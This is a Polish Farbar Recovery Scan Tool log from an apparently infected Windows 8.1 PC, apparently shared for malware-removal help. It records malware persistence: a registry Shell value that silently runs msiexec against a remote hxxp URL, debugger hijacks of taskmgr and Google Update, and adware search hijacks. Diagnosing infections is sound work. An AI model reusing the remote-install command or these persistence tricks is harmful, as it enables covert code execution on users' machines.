Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x64) Wersja: 03-10-2017 01
Uruchomiony przez Dominika (administrator)  PERS_SATELLITE (04-10-2017 09:54:37)
Uruchomiony z C:\Users\Dominika\Desktop
Załadowane profile: Dominika (Dostępne profile: Dominika)
Platform: Windows 8.1 Pro (Update) (X64) Język: Polski (Polska)
Internet Explorer Wersja 11 (Domyślna przeglądarka: FF)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(COMODO) C:\Program Files (x86)\COMODO\Internet Security Essentials\isesrv.exe
(Filseclab Corporation Limited) C:\Program Files (x86)\ScreenShot\SSSvc.exe
(Microsoft Corporation) C:\Windows\System32\alg.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cmdvirth.exe
(Dropbox, Inc.) C:\Windows\System32\DbxSvc.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cmdagent.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cavwp.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cistray.exe
(IvoSoft) C:\Program Files\Classic Shell\ClassicStartMenu.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
(Dropbox, Inc.) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe
(COMODO) C:\Program Files (x86)\COMODO\Internet Security Essentials\vkise.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(Slack Technologies) C:\Users\Dominika\AppData\Local\slack\app-2.8.1\slack.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cavwp.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cis.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Panda Security) C:\Program Files (x86)\Panda USB Vaccine\USBVaccine.exe
(Microsoft Corporation) C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
(Microsoft Corporation) C:\Windows\System32\CompatTelRunner.exe
(Microsoft Corporation) C:\Windows\System32\CompatTelRunner.exe
(Farbar) C:\Users\Dominika\Desktop\FRST64(1).exe

==================== Rejestr (filtrowane) ===========================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [Classic Start Menu] => C:\Program Files\Classic Shell\ClassicStartMenu.exe [164080 2015-06-27] (IvoSoft)
HKLM\...\Run: [COMODO Autostart {D5EFF3B3-E126-4AF6-BCE9-852A72129E10}] => C:\Program Files\COMODO\COMODO Internet Security\cistray.exe [1489088 2017-08-29] (COMODO)
HKLM-x32\...\Run: [Dropbox] => C:\Program Files (x86)\Dropbox\Client\Dropbox.exe [3481912 2017-09-20] (Dropbox, Inc.)
HKLM-x32\...\Run: [IseUI] => C:\Program Files (x86)\COMODO\Internet Security Essentials\vkise.exe [3632848 2017-08-08] (COMODO)
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\Run: [Google Update] => C:\Users\Dominika\AppData\Local\Google\Update\1.3.33.5\GoogleUpdateCore.exe [601168 2017-05-08] (Google Inc.)
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [8418584 2015-07-17] (Piriform Ltd)
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\Run: [com.squirrel.slack.slack] => C:\Users\Dominika\AppData\Local\slack\Update.exe [1584656 2017-10-02] ()
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.orangeiloveyou.com/?data=zDlkMj81RjEcMWH5NjMdMWUdNTU2RWlQN8NWRUI1OTJLOWF2RF== /q <==== UWAGA
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\MountPoints2: {3b28ff8f-095f-11e7-827f-001e8ce87f4e} - "E:\LGAutoRun.exe" 
IFEO\DisplaySwitch.exe: [Debugger] 
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\taskmgr.exe: [Debugger] 
Startup: C:\Users\Dominika\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wysyłanie do programu OneNote.lnk [2016-11-24]
ShortcutTarget: Wysyłanie do programu OneNote.lnk -> C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE (Brak pliku)

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Winsock: Catalog9 01 C:\Windows\SysWOW64\LavasoftTcpService.dll [345360 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9 02 C:\Windows\SysWOW64\LavasoftTcpService.dll [345360 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9 03 C:\Windows\SysWOW64\LavasoftTcpService.dll [345360 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9 04 C:\Windows\SysWOW64\LavasoftTcpService.dll [345360 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9 15 C:\Windows\SysWOW64\LavasoftTcpService.dll [345360 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9-x64 01 C:\Windows\system32\LavasoftTcpService64.dll [425744 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9-x64 02 C:\Windows\system32\LavasoftTcpService64.dll [425744 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9-x64 03 C:\Windows\system32\LavasoftTcpService64.dll [425744 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9-x64 04 C:\Windows\system32\LavasoftTcpService64.dll [425744 2015-08-31] (Lavasoft Limited)
Winsock: Catalog9-x64 15 C:\Windows\system32\LavasoftTcpService64.dll [425744 2015-08-31] (Lavasoft Limited)
Tcpip\Parameters: [DhcpNameServer] 10.0.0.1
Tcpip\..\Interfaces\{11056428-870C-4833-AF9E-171695D4EEF2}: [DhcpNameServer] 10.0.0.1

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBPxn5dJ8gs0DGDT3GOWsi_8CTz4dOMjrasBb05J-kqFPYL6aGkbk1a7SfBXshw_E4R5ZfAZJ2DOGVtS9jmRZOGfECXJS6H3pc1-XM8CzdfyW8TtE3oMhuaNz4M_4h85CbfMP6V2R5336pIuADtrIbfUoIA4RZu28ZKglr4zLZxxjy2WMY3W3ze8EmR&q={searchTerms}
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/pl-pl/?ocid=iehp
SearchScopes: HKLM -> DefaultScope - brak wartości
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM-x32 -> DefaultScope - brak wartości
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-1280708189-2280317887-4227462502-1001 -> {6A1806CD-94D4-4689-BA73-E35EA1EA9990} URL = hxxp://www.google.com/search?q={sear
BHO: ExplorerBHO Class -> {449D0D6E-2412-4E61-B68F-1CB625CD9E52} -> C:\Program Files\Classic Shell\ClassicExplorer64.dll [2015-06-27] (IvoSoft)
BHO: ClassicIEBHO Class -> {EA801577-E6AD-4BD5-8F71-4BE0154331A4} -> C:\Program Files\Classic Shell\ClassicIEDLL_64.dll [2015-06-27] (IvoSoft)
BHO-x32: ExplorerBHO Class -> {449D0D6E-2412-4E61-B68F-1CB625CD9E52} -> C:\Program Files\Classic Shell\ClassicExplorer32.dll [2015-06-27] (IvoSoft)
BHO-x32: ClassicIEBHO Class -> {EA801577-E6AD-4BD5-8F71-4BE0154331A4} -> C:\Program Files\Classic Shell\ClassicIEDLL_32.dll [2015-06-27] (IvoSoft)
Toolbar: HKLM - Classic Explorer Bar - {553891B7-A0D5-4526-BE18-D3CE461D6310} - C:\Program Files\Classic Shell\ClassicExplorer64.dll [2015-06-27] (IvoSoft)
Toolbar: HKLM-x32 - Classic Explorer Bar - {553891B7-A0D5-4526-BE18-D3CE461D6310} - C:\Program Files\Classic Shell\ClassicExplorer32.dll [2015-06-27] (IvoSoft)

FireFox:
========
FF DefaultProfile: 0oa4h1x2.default
FF DefaultProfile: okrr3ihb.default
FF ProfilePath: C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default [2017-10-04]
FF Extension: (colorPicker) - C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default\Extensions\colorPicker@colorPicker.xpi [2017-07-26]
FF Extension: (Bezpieczne logowanie) - C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default\Extensions\secureLogin@blueimp.net.xpi [2017-08-08]
FF Extension: (LastPass: Free Password Manager) - C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default\Extensions\support@lastpass.com [2017-07-26]
FF Extension: (uBlock Origin) - C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default\Extensions\uBlock0@raymondhill.net.xpi [2017-09-26]
FF Extension: (Screengrab!) - C:\Users\Dominika\AppData\Roaming\Mozilla\Firefox\Profiles\0oa4h1x2.default\Extensions\{02450914-cdd9-410f-b1da-db004e18c671}.xpi [2017-10-03]
FF ProfilePath: C:\Users\Dominika\AppData\Roaming\Firefox\Firefox\Profiles\okrr3ihb.default [2017-05-15] <==== UWAGA
FF Homepage: Firefox\Firefox\Profiles\okrr3ihb.default -> hxxp://www.searchinme.com/
FF Extension: (HSearch) - C:\Users\Dominika\AppData\Roaming\Firefox\Firefox\Profiles\okrr3ihb.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-04-19] [Brak podpisu cyfrowego]
FF Extension: (Polski Language Pack) - C:\Users\Dominika\AppData\Roaming\Firefox\Firefox\Profiles\okrr3ihb.default\Extensions\langpack-pl@firefox.mozilla.org.xpi [2017-05-15] [Brak podpisu cyfrowego]
FF SearchPlugin: C:\Users\Dominika\AppData\Roaming\Firefox\Firefox\Profiles\okrr3ihb.default\searchplugins\startsearch.xml [2017-04-27]
FF Extension: (Activity Stream) - C:\Program Files (x86)\Mozilla Firefox\browser\features\activity-stream@mozilla.org.xpi [2017-10-02] [Brak podpisu cyfrowego]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_27_0_0_130.dll [2017-09-13] ()
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_27_0_0_130.dll [2017-09-13] ()
FF Plugin-x32: @google.com/npPicasa3,version=3.0.0 -> C:\Program Files (x86)\Google\Picasa3\npPicasa3.dll [2015-10-13] (Google, Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-08] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-08] (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2017-08-01] (Adobe Systems Inc.)
FF Plugin HKU\S-1-5-21-1280708189-2280317887-4227462502-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Dominika\AppData\Local\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-08] (Google Inc.)
FF Plugin HKU\S-1-5-21-1280708189-2280317887-4227462502-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Dominika\AppData\Local\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-08] (Google Inc.)

Chrome: 
=======
CHR DefaultProfile: Default
CHR DefaultSearchURL: Default -> hxxp://feed.safefinder.biz/?fext=true&publisherid=51218&publisher=extensiondefaultap&st=ed&q={searchTerms}
CHR DefaultSearchKeyword: Default -> lp
CHR Profile: C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default [2017-08-31]
CHR Extension: (Dysk Google) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-08-17]
CHR Extension: (Adobe Acrobat) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\efaidnbmnnnibpcajpcglclefindmkaj [2017-03-09]
CHR Extension: (Screengrab!) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\fccdiabakoglkihagkjmaomipdeegbpk [2017-08-31]
CHR Extension: (Facebook Pixel Helper) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\fdgfkebogiimcoedlicjlajpkdmockpc [2017-02-24]
CHR Extension: (Dokumenty Google offline) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-08-22]
CHR Extension: (LastPass: Free Password Manager) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\hdokiejnpimakedhajhdlcegeplioahd [2017-08-30]
CHR Extension: (Hunter) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\hgmhmanijnjhaffoampdlllchpolkdnj [2017-08-28]
CHR Extension: (Eye Dropper) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\hmdcmlfkchdmnmnmheododdhjedfccka [2017-06-28]
CHR Extension: (Slack) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\jeogkiiogjbmhklcnbgkdcjoioegiknm [2017-02-13]
CHR Extension: (Rozszerzenie Subskrypcje RSS (od Google)) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\nlbjncdgjeocebhnmkbbbdekmmmcbfjd [2017-01-10]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-08-28]
CHR Extension: (Chrome Media Router) - C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-05-16]
CHR Profile: C:\Users\Dominika\AppData\Local\Google\Chrome\User Data\System Profile [2017-08-02]
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [jidkebcigjgheaahopdnlfaohgnocfai] - hxxps://clients2.google.com/service/update2/crx
HKU\S-1-5-21-1280708189-2280317887-4227462502-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Bagsarah\Application\chrome.exe (Google Inc.) <==== UWAGA

Opera: 
=======
OPR Extension: (Adblock Plus) - C:\Users\Dominika\AppData\Roaming\Opera Software\Opera Stable\Extensions\oidhhegpmlfpoeialbgcdocjalghfpkp [2016-12-15]

==================== Usługi (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 CmdAgent; C:\Program Files\COMODO\COMODO Internet Security\cmdagent.exe [10501616 2017-09-06] (COMODO)
R3 cmdvirth; C:\Program Files\COMODO\COMODO Internet Security\cmdvirth.exe [2876096 2017-08-29] (COMODO)
S2 dbupdate; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2016-05-30] (Dropbox, Inc.)
S3 dbupdatem; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2016-05-30] (Dropbox, Inc.)
R2 DbxSvc; C:\Windows\system32\DbxSvc.exe [49992 2017-09-20] (Dropbox, Inc.)
R2 isesrv; C:\Program Files (x86)\COMODO\Internet Security Essentials\isesrv.exe [133840 2017-08-08] (COMODO)
S2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [6058960 2017-08-07] (Malwarebytes)
R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2017-03-09] (Filseclab Corporation Limited)
S2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10803440 2017-08-29] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-04-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-04-12] (Microsoft Corporation)
S2 OneDirveSrv; C:\ProgramData\Microsoft OneDrive\setup\SyncTool.dll [X]
S2 WindowsAppVerifierSvr; C:\ProgramData\Windows\App\Kit\ApplicationVerifier.dll [X]

===================== Sterowniki (filtrowane) ======================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R1 cmderd; C:\Windows\System32\DRIVERS\cmderd.sys [32232 2017-08-08] (COMODO)
R1 cmdGuard; C:\Windows\System32\DRIVERS\cmdguard.sys [819136 2017-08-08] (COMODO)
R1 cmdhlp; C:\Windows\system32\DRIVERS\cmdhlp.sys [42080 2017-08-08] (COMODO)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
R1 inspect; C:\Windows\system32\DRIVERS\inspect.sys [124176 2017-08-08] (COMODO)
R1 isedrv; C:\Windows\system32\drivers\isedrv.sys [62208 2017-03-29] (COMODO)
R3 MTsensor; C:\Windows\system32\DRIVERS\ATK64AMD.sys [13680 2007-08-09] ()
R3 RTL8023x64; C:\Windows\system32\DRIVERS\Rtnic64.sys [51712 2013-06-18] (Realtek Semiconductor Corporation )
R3 RTL8187B; C:\Windows\system32\DRIVERS\rtl8187B.sys [459336 2013-06-18] (Realtek Semiconductor Corporation )
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-04-12] (Microsoft Corporation)
S3 WdFilter; C:\Windows\system32\drivers\WdFilter.sys [274776 2017-04-12] (Microsoft Corporation)
S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-04-12] (Microsoft Corporation)
S3 avchv; \SystemRoot\system32\DRIVERS\avchv.sys [X]
S3 dbx; system32\DRIVERS\dbx.sys [X]
S1 tcfd_vw_1_10_0_22; system32\drivers\tcfd_vw_1_10_0_22.sys [X]

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

Error(1) reading file: "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Narzędzia pakietu Microsoft Office "
2017-10-04 09:54 - 2017-10-04 09:55 - 000017853 _____ C:\Users\Dominika\Desktop\FRST.txt
2017-10-04 09:53 - 2017-10-04 09:54 - 000000000 ____D C:\FRST
2017-10-04 09:53 - 2017-10-04 09:52 - 002399744 _____ (Farbar) C:\Users\Dominika\Desktop\FRST64(1).exe
2017-10-04 09:52 - 2017-10-04 09:52 - 002399744 _____ (Farbar) C:\Users\Dominika\Downloads\FRST64(1).exe
2017-10-03 11:50 - 2017-10-03 11:50 - 000065560 _____ C:\Users\Dominika\Desktop\Malwarebytes-wyniki.zip
2017-10-03 11:20 - 2017-10-03 11:20 - 000051197 _____ C:\Users\Dominika\Downloads\Shortcut.txt
2017-10-03 11:19 - 2017-10-03 11:20 - 000082083 _____ C:\Users\Dominika\Downloads\Addition.txt
2017-10-03 11:18 - 2017-10-03 11:20 - 000038246 _____ C:\Users\Dominika\Downloads\FRST.txt
2017-10-03 11:17 - 2017-10-03 11:17 - 002399744 _____ (Farbar) C:\Users\Dominika\Downloads\FRST64.exe
2017-10-03 08:09 - 2017-10-03 08:09 - 001549698 _____ C:\Users\Dominika\Desktop\Malwarebytes-wyniki.txt
2017-10-02 17:17 - 2017-10-02 17:17 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-10-02 17:17 - 2017-10-02 17:17 - 000000000 ____D C:\ProgramData\Malwarebytes
2017-10-02 17:17 - 2017-10-02 17:17 - 000000000 ____D C:\Program Files\Malwarebytes
2017-10-02 17:17 - 2017-09-27 09:37 - 000077440 _____ C:\Windows\system32\Drivers\mbae64.sys
2017-10-02 17:15 - 2017-10-02 17:16 - 071089112 _____ (Malwarebytes ) C:\Users\Dominika\Downloads\mb3-setup-consumer-3.2.2.2029-1.0.207-1.0.2899.exe
2017-10-02 17:14 - 2017-10-02 17:14 - 000838857 _____ C:\Users\Dominika\Downloads\USBVaccineSetup50a.zip
2017-10-02 17:14 - 2017-10-02 17:14 - 000003128 _____ C:\Windows\System32\Tasks\PandaUSBVaccine
2017-10-02 17:14 - 2017-10-02 17:14 - 000000000 ____D C:\ProgramData\Panda Security
2017-10-02 17:14 - 2017-10-02 17:14 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Panda Security
2017-10-02 17:14 - 2017-10-02 17:14 - 000000000 ____D C:\Program Files (x86)\Panda USB Vaccine
2017-10-02 11:25 - 2017-10-02 11:25 - 002978595 _____ C:\Users\Dominika\Downloads\Praca Szuka Człowieka(1).zip
2017-10-02 11:22 - 2017-10-02 11:22 - 003034188 _____ C:\Users\Dominika\Downloads\Praca Szuka Człowieka.zip
2017-09-27 15:17 - 2017-09-27 15:17 - 000008844 _____ C:\Users\Dominika\Downloads\bilety.xlsx
2017-09-26 14:31 - 2017-09-26 14:31 - 000025517 _____ C:\Users\Dominika\AppData\Local\recently-used.xbel
2017-09-22 13:20 - 2017-09-22 13:20 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-09-21 12:28 - 2017-09-21 12:04 - 000164160 _____ C:\Users\Dominika\Downloads\export2.xls
2017-09-21 12:27 - 2017-09-21 12:25 - 000043667 _____ C:\Users\Dominika\Downloads\export.csv
2017-09-21 11:31 - 2017-09-22 13:14 - 000000000 ____D C:\Program Files (x86)\TeamViewer
2017-09-21 11:31 - 2017-09-21 11:31 - 000001059 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-09-21 11:28 - 2017-09-21 11:30 - 015756368 _____ (TeamViewer GmbH) C:\Users\Dominika\Downloads\TeamViewer_Setup.exe
2017-09-20 18:48 - 2017-09-20 18:48 - 000049992 _____ (Dropbox, Inc.) C:\Windows\system32\DbxSvc.exe
2017-09-20 18:48 - 2017-09-20 18:48 - 000045672 _____ (Dropbox, Inc.) C:\Windows\system32\Drivers\dbx-dev.sys
2017-09-20 18:48 - 2017-09-20 18:48 - 000045640 _____ (Dropbox, Inc.) C:\Windows\system32\Drivers\dbx-stable.sys
2017-09-20 18:48 - 2017-09-20 18:48 - 000045640 _____ (Dropbox, Inc.) C:\Windows\system32\Drivers\dbx-canary.sys
2017-09-13 12:14 - 2017-08-18 00:07 - 000537200 _____ (Microsoft Corporation) C:\Windows\system32\wer.dll
2017-09-13 12:14 - 2017-08-15 16:06 - 015260160 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-09-13 12:14 - 2017-08-15 15:58 - 013673984 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-09-13 12:14 - 2017-08-13 20:58 - 025730560 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-09-13 12:14 - 2017-08-13 19:04 - 002899968 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-09-13 12:14 - 2017-08-13 18:54 - 020269056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-09-13 12:14 - 2017-08-13 18:51 - 005981696 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-09-13 12:14 - 2017-08-13 18:24 - 002291200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-09-13 12:14 - 2017-08-13 18:15 - 007078912 _____ (Microsoft Corporation) C:\Windows\system32\glcndFilter.dll
2017-09-13 12:14 - 2017-08-13 17:52 - 005274624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\glcndFilter.dll
2017-09-13 12:14 - 2017-08-13 17:52 - 000486912 _____ (Microsoft Corporation) C:\Windows\system32\tpmvsc.dll
2017-09-13 12:14 - 2017-08-13 17:48 - 004547072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-09-13 12:14 - 2017-08-13 17:40 - 003241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-09-13 12:14 - 2017-08-13 17:27 - 001544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-09-13 12:14 - 2017-08-13 17:25 - 007797248 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Data.Pdf.dll
2017-09-13 12:14 - 2017-08-13 17:18 - 005270016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Data.Pdf.dll
2017-09-13 12:14 - 2017-08-13 17:17 - 002767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-09-13 12:14 - 2017-08-12 11:30 - 022361344 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-09-13 12:14 - 2017-08-12 11:26 - 019789736 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-09-13 12:14 - 2017-08-12 02:39 - 001364552 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-09-13 12:14 - 2017-08-11 05:30 - 004170240 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-09-13 12:14 - 2017-08-11 04:38 - 000477184 _____ (Microsoft Corporation) C:\Windows\system32\puiobj.dll
2017-09-13 12:14 - 2017-08-11 04:08 - 001753600 _____ (Microsoft Corporation) C:\Windows\system32\GdiPlus.dll
2017-09-13 12:14 - 2017-08-11 03:52 - 001491456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\GdiPlus.dll
2017-09-13 12:14 - 2017-08-11 03:44 - 001095680 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-09-13 12:14 - 2017-08-11 03:43 - 000865792 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-09-13 12:14 - 2017-07-17 21:53 - 004298240 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-09-13 12:14 - 2017-07-17 01:55 - 003551744 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-09-13 12:14 - 2017-07-14 01:03 - 002013528 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-09-13 12:14 - 2017-07-12 22:29 - 000420440 _____ (Microsoft Corporation) C:\Windows\system32\wevtapi.dll
2017-09-13 12:13 - 2017-08-19 19:27 - 000237568 _____ (Microsoft Corporation) C:\Windows\system32\shdocvw.dll
2017-09-13 12:13 - 2017-08-19 18:48 - 000215040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shdocvw.dll
2017-09-13 12:13 - 2017-08-18 00:07 - 000140016 _____ (Microsoft Corporation) C:\Windows\system32\wermgr.exe
2017-09-13 12:13 - 2017-08-18 00:03 - 000450392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wer.dll
2017-09-13 12:13 - 2017-08-18 00:03 - 000136832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wermgr.exe
2017-09-13 12:13 - 2017-08-15 16:01 - 000279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-09-13 12:13 - 2017-08-15 16:01 - 000128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-09-13 12:13 - 2017-08-15 16:01 - 000076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-09-13 12:13 - 2017-08-13 19:19 - 000040960 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\nsiproxy.sys
2017-09-13 12:13 - 2017-08-13 19:05 - 000576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
